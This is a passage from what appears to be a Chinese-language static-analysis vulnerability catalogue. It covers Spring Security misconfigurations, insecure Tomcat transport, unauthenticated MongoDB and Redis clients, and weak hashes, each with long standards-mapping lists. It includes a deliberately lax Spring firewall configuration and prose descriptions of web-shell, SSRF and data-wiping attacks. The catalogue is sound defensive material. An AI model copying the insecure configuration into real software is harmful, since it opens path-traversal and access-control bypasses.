[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.4.2 Access Control Architectural Requirements, 1.4.4 Access Control Architectural Requirements
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[8] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[9] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[10] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[11] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[12] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[21] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 676
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[39] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Spring Security Misconfiguration: Lack of Fallback Check
ABSTRACT
Spring Security 配置缺乏退回检查,无法应用于不匹配的请求。
EXPLANATION
Spring Security 使用基于表达式的 Access Control,可让开发人员定义必须应用于每一项请求的一组检查。为了确定 Access Control 是否必须应用于请求,Spring Security 会尝试将请求与针对每项安全性检查定义的请求匹配程序进行匹配。若请求匹配,则将 Access Control 应用于请求。特殊的请求匹配程序可用于始终针对任何请求进行匹配:anyRequest()。若无法定义使用 anyRequest() 匹配程序的退回检查,则可能导致端点得不到应有的保护。
示例 1:以下代码定义了无法定义退回检查的 Spring Security 配置:
1 | <http auto-config="true"> |
在上述Example 1 中,当前或未来端点(例如 /admin/panel)可能未得到应有的保护。
RECOMMENDATIONS
安全最佳实践是将 Catch-All 匹配程序包含其中,该程序将拒绝对之前不匹配请求的访问。
示例 2:以下代码定义了 Spring Security 配置,该配置默认为拒绝对之前不匹配请求的访问:
1 | <http auto-config="true"> |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 284
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-001084, CCI-002165
[3] Standards Mapping - FIPS200 AC
[4] Standards Mapping - General Data Protection Regulation Access Violation
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.4.2 Access Control Architectural Requirements, 1.4.4 Access Control Architectural Requirements
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[8] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[9] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[10] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[11] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[12] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[21] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 676
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[39] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Spring Security Misconfiguration: Overly Permissive Firewall Policy
ABSTRACT
Spring Security HTTP 防火墙配置了 lax 策略。
EXPLANATION
Spring Security 包括 HTTP 防火墙,可通过清理可能包含恶意字符的请求保护应用程序的安全。Spring 通过将 HttpFirewall 包含在其 FilterChainProxy 中实现此功能,其会借助过滤链发送预先处理过的请求。默认情况下,Sprint Security 使用 StrictHttpFirewall 实施。
示例:以下代码会放宽防火墙策略以允许 %2F 和 ; 字符:
1 | <beans:bean id="httpFirewall" class="org.springframework.security.web.firewall.StrictHttpFirewall" p:allowSemicolon="true" p:allowUrlEncodedSlash="true"/> |
若这些字符未得到一致和正确的处理,允许潜在的恶意字符会导致漏洞。例如,允许使用分号会启用路径参数(根据 RFC 2396 中的定义),该参数未得到前端 Web 服务器(Apache Tomcat 等 nginx 和应用程序服务器)的一致处理。这些不一致可能会被 Path Traversal 攻击利用或用于绕过 Access Control。RECOMMENDATIONS
请勿放宽默认 HTTP 防火墙策略。
请注意,不论类名称为何,DefaultHttpFirewall 不是默认值。此外,如 Spring 文档所声明:
“用户应考虑使用 StrictHttpFirewall,因为与其尝试清理恶意 URL,不如拒绝恶意 URL,以此来提供更好的安全保证。”
REFERENCES
[1] Class DefaultHttpFirewall Spring
[2] Standards Mapping - FIPS200 CM
[3] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-6 Configuration Settings (P2)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Web Application Security Consortium Version 2.00 Server Misconfiguration (WASC-14)
Tomcat Configuration: Insecure Transport
ABSTRACT
程序通过不安全的 HTTP 连接传送信息。
EXPLANATION
部署在企业网络基础架构之外的程序会失去数据传输安全特性提供的内部保障。位于共享网络上的攻击者可能嗅探未加密的信息流。
RECOMMENDATIONS
Tomcat 提供了一种通过 SSL 连接接受信息流的方式。下面提供了处理 SSL 的基本 Tomcat Connector 配置:
1 | <Connector |
REFERENCES
[1] SSL Configuration HOW-TO The Apache Foundation
[2] Standards Mapping - Common Weakness Enumeration CWE ID 5
[3] Standards Mapping - FIPS200 CM, SC
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[8] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260.1 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Unauthenticated Service: MongoDB
ABSTRACT
应用程序会初始化 MongoDB 客户端,而不设置任何凭据。
EXPLANATION
攻击者可能会将未经身份验证的 MongoDB 服务器作为目标,破坏其中存储的数据,并根据 MongoDB 版本攻击服务器,从而侵入内部网络。
可以对 MongoDB 服务器使用不同的攻击,以便在其底层操作系统上执行任意代码。例如,过去有很多漏洞,攻击者会利用这些漏洞将 Server-Side JavaScript Injection 转化为远程代码执行。当用于存储对象时,攻击者还可以存储面向不同语言(例如 Java、Python、Ruby、PHP 等)的反序列化有效负载,以便在反序列化端点上执行远程代码。
请注意,即使 MongoDB 服务器未在外部公开,外部攻击者仍可能通过同一网络上任何应用程序中的 Server-Side Request Forgery 漏洞访问它或 REST API。例如,攻击者可能使用 HTTP 或 Gopher 协议来攻击 MongoDB 服务器。
如果未能从外部保护 MongoDB 端口,则可能会产生很大的安全影响。例如,外部攻击者可以使用单个 remove命令删除整个数据集。最近,有报道称,在 Internet 上公开运行的不安全 MongoDB 实例遭到恶意攻击。攻击者删除了数据库,并要求支付赎金才能恢复数据库。
RECOMMENDATIONS
即便是仅在内部公开的服务器,最好也在服务器中设置身份验证,这样客户端提交有效凭据才能访问服务器。
请参考“MongoDB 安全指南”。
REFERENCES
[1] MongoDB MongoDB Security
[2] Standards Mapping - Common Weakness Enumeration CWE ID 259
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000196, CCI-001199, CCI-003109
[5] Standards Mapping - FIPS200 IA
[6] Standards Mapping - General Data Protection Regulation Insufficient Data Protection
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.7.1 Out of Band Verifier Requirements, 2.7.2 Out of Band Verifier Requirements, 2.7.3 Out of Band Verifier Requirements, 2.8.4 Single or Multi Factor One Time Verifier Requirements, 2.8.5 Single or Multi Factor One Time Verifier Requirements, 2.10.2 Service Authentication Requirements, 3.5.2 Token-based Session Management, 3.7.1 Defenses Against Session Management Exploits, 6.4.1 Secret Management, 9.2.3 Server Communications Security Requirements, 10.2.3 Malicious Code Search
[9] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M2 Insecure Data Storage
[10] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[11] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[12] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[13] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[14] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 2.2 - Secure Defaults, Control Objective 5.1 - Authentication and Access Control
[23] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[24] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[41] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[42] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authentication (WASC-01)
Unauthenticated Service: Redis
ABSTRACT
应用程序会初始化 Redis 客户端,而不设置任何凭据。
EXPLANATION
攻击者可能会将未经身份验证的 Redis 服务器作为目标,通过攻击服务器来打入内部网络。
可以对 Redis 服务器使用不同的攻击,以便在其底层操作系统上执行任意代码。 例如,攻击者可以使用 Redis 命令将 Web Shell 写入 Web 根目录。 当用于存储对象时,攻击者还可以存储面向不同语言(例如 Java、Python、Ruby、PHP 等)的反序列化有效负载,以便在反序列化端点上执行远程代码。
请注意,即使 Redis 服务器未在外部公开,外部攻击者仍可能通过同一网络上任何应用程序中的 Server-Side Request Forgery 漏洞访问它。 例如,Redis 服务器可能是使用 HTTP 或 Gopher 协议的攻击者。
由于 Redis 的性质,如果未能从外部保护 Redis 端口,则可能会产生很大的安全影响。 例如,外部攻击者可以使用单个 FLUSHALL 命令删除整个数据集。 最近,有报道称,在 Internet 上公开运行的不安全 Redis 实例遭到恶意攻击。 攻击者删除了数据库,并要求支付赎金才能恢复数据库。
RECOMMENDATIONS
即便是仅在内部公开的服务器,最好也在服务器中设置身份验证,要求客户端提交有效凭据才能进行服务器交互。
请参考“Redis 安全指南”。 此外,除了网络中受信任的客户端之外,应拒绝其他客户端访问 Redis 端口,因此运行 Redis 的服务器只能由使用 Redis 实施应用程序的计算机直接访问。 通过在 redis.conf 文件中添加如下所示的行,可以将 Redis 绑定到单个接口:
1 | bind 127.0.0.1 |
REFERENCES
[1] Nicolas Grégoire Trying to hack Redis via HTTP requests
[2] Max Chadwick curl Based SSRF Exploits Against Redis
[3] Redis Redis Security
[4] Standards Mapping - Common Weakness Enumeration CWE ID 259
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[6] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000196, CCI-001199, CCI-003109
[7] Standards Mapping - FIPS200 IA
[8] Standards Mapping - General Data Protection Regulation Insufficient Data Protection
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[10] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.7.1 Out of Band Verifier Requirements, 2.7.2 Out of Band Verifier Requirements, 2.7.3 Out of Band Verifier Requirements, 2.8.4 Single or Multi Factor One Time Verifier Requirements, 2.8.5 Single or Multi Factor One Time Verifier Requirements, 2.10.2 Service Authentication Requirements, 3.5.2 Token-based Session Management, 3.7.1 Defenses Against Session Management Exploits, 6.4.1 Secret Management, 9.2.3 Server Communications Security Requirements, 10.2.3 Malicious Code Search
[11] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M2 Insecure Data Storage
[12] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[13] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[14] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[15] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[16] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 2.2 - Secure Defaults, Control Objective 5.1 - Authentication and Access Control
[25] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[26] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[43] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authentication (WASC-01)
Weak Cryptographic Hash
ABSTRACT
弱加密散列值无法保证数据完整性,且不能在安全性关键的上下文中使用。
EXPLANATION
MD2、MD4、MD5、RIPEMD-160 和 SHA-1 是常用的加密散列算法,通常用于验证消息和其他数据的完整性。然而,由于最近的密码分析研究揭示了这些算法中存在的根本缺陷,因此它们不应该再用于安全性关键的上下文中。
由于有效破解 MD 和 RIPEMD 散列的技术已得到广泛使用,因此不应该依赖这些算法来保证安全性。对于 SHA-1,目前的破坏技术仍需要极高的计算能力,因此比较难以实现。然而,攻击者已发现了该算法的致命弱点,破坏它的技术可能会导致更快地发起攻击。
RECOMMENDATIONS
停止使用 MD2、MD4、MD5、RIPEMD-160 和 SHA-1 对安全性关键的上下文中的数据进行验证。目前,SHA-224、SHA-256、SHA-384、SHA-512 和 SHA-3 都是不错的备选方案。但是,由于安全散列算法 (Secure Hash Algorithm) 的这些变体并没有像 SHA-1 那样得到仔细研究,因此请留意可能影响这些算法安全性的未来研究结果。
REFERENCES
[1] Stach & Liu MD5 and MD4 Collision Generators
[2] Xiaoyun Wang, Yiqun Lisa Yin, and Hongbo Yu Finding Collisions in the Full SHA-1
[3] Xiaoyun Wang and Hongbo Yu How to Break MD5 and Other Hash Functions
[4] SDL Development Practices Microsoft
[5] Standards Mapping - Common Weakness Enumeration CWE ID 328
[6] Standards Mapping - FIPS200 MP
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M6 Broken Cryptography
